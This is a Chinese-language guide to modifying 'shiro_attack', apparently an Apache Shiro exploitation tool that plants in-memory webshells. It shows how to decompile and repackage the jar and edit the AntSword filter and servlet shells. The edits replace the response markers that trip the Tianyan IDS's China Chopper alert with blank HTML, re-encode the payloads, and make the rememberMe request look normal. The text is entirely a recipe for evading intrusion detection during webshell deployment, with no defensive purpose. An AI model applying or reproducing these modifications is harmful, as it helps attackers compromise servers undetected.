shiro Attack工具修改
背景
shiro attack工具上传内存马,触发天眼菜刀上传告警
经检测流量发现,该工具默认相应包为
|->Success<-|
,与菜刀相同本文为对该工具修改过程
内存马二进制部分存在于/attack/deser/plugins/MemBytes.class
路径下
各种内存马位置:/x
路径下
原本天眼告警部分:|->Success<-|
目前强行改成<html><head></head><body></body></html>
,如果需要可以改成自己想
java版本:1.8
反编译jar包
命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\jar.exe' -xf .\shiro_attack-2.2.jar
此时目录文件
d----- 2021/6/22 10:27 attack
d----- 2013/3/18 20:30 ch
d----- 2016/1/19 13:29 clojure
d----- 2015/12/8 21:42 com
d----- 2018/3/14 14:21 doc-files
d----- 2020/6/4 4:06 io
d----- 2015/1/7 3:05 javassist
d----- 2013/4/25 16:52 javax
d----- 2021/6/22 10:27 META-INF
d----- 2015/3/24 16:29 mozilla
d----- 2014/5/25 19:26 org
d----- 2021/12/2 17:15 schema
d----- 2021/12/2 17:26 x
-a---- 2010/2/4 19:21 8585 beans_1_0.xsd
-a---- 2011/1/12 15:38 8258 beans_1_1.xsd
-a---- 2021/6/22 10:27 15601 gui.fxml
-a---- 2018/9/25 11:21 1212 log4j.properties
编译java文件
将文件用idea打开,访问class文件,无法直接修改class文件
需要先复制出来成java文件,然后编译,如果缺少依赖问题,可以配置依赖或者放在根目录编译
命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\javac.exe' .\MemBytes.java -encoding utf8
此时,会有编译好的class文件
编码是为了避免中文乱码,默认在命令行打包不是utf8格式
Jar包重打包
修改好了文件后重新打包成jar包执行即可
命令& 'C:\Program Files\Java\jdk1.8.0_191\bin\jar.exe' -cvfm0 a.jar .\META-INF\MANIFEST.MF .\
等待即可
修改蚁剑Filter
- 修改类名为
AuckerFilter
-
修改相应包为
html
字段
文件路径/x/AntSwordFilter.class
equals
函数修改:
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
改为
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "<html>";
String tag_e = "</html>";
addFilter
函数修改
System.arraycopy(tmpFilterMaps, 0, filterMaps, 0, filterMaps.length);
String var27 = "Success";
return var27;
改为
System.arraycopy(tmpFilterMaps, 0, filterMaps, 0, filterMaps.length);
String var27 = "<head></head><body></body>";
return var27;
修改蚁剑Servlet
- 修改类名为
AuckerServlet
- 修改相应包为
html
字段
文件路径/x/AntSwordServlet.class
同上
修改其他内存马
同上
修改MemBytes文件
将前面修改的每个内存马文件对应base64编码,然后url编码的字符串
复制到对应的位置编译打包即可
修改AttackService
这里是检测响应页面,如果不修改会默认相应失败
路径attack/core/AttackService
修改了相应包为html
字段,同时修改了rememberMe
默认请求字段更像正常文件
叨叨几句... NOTHING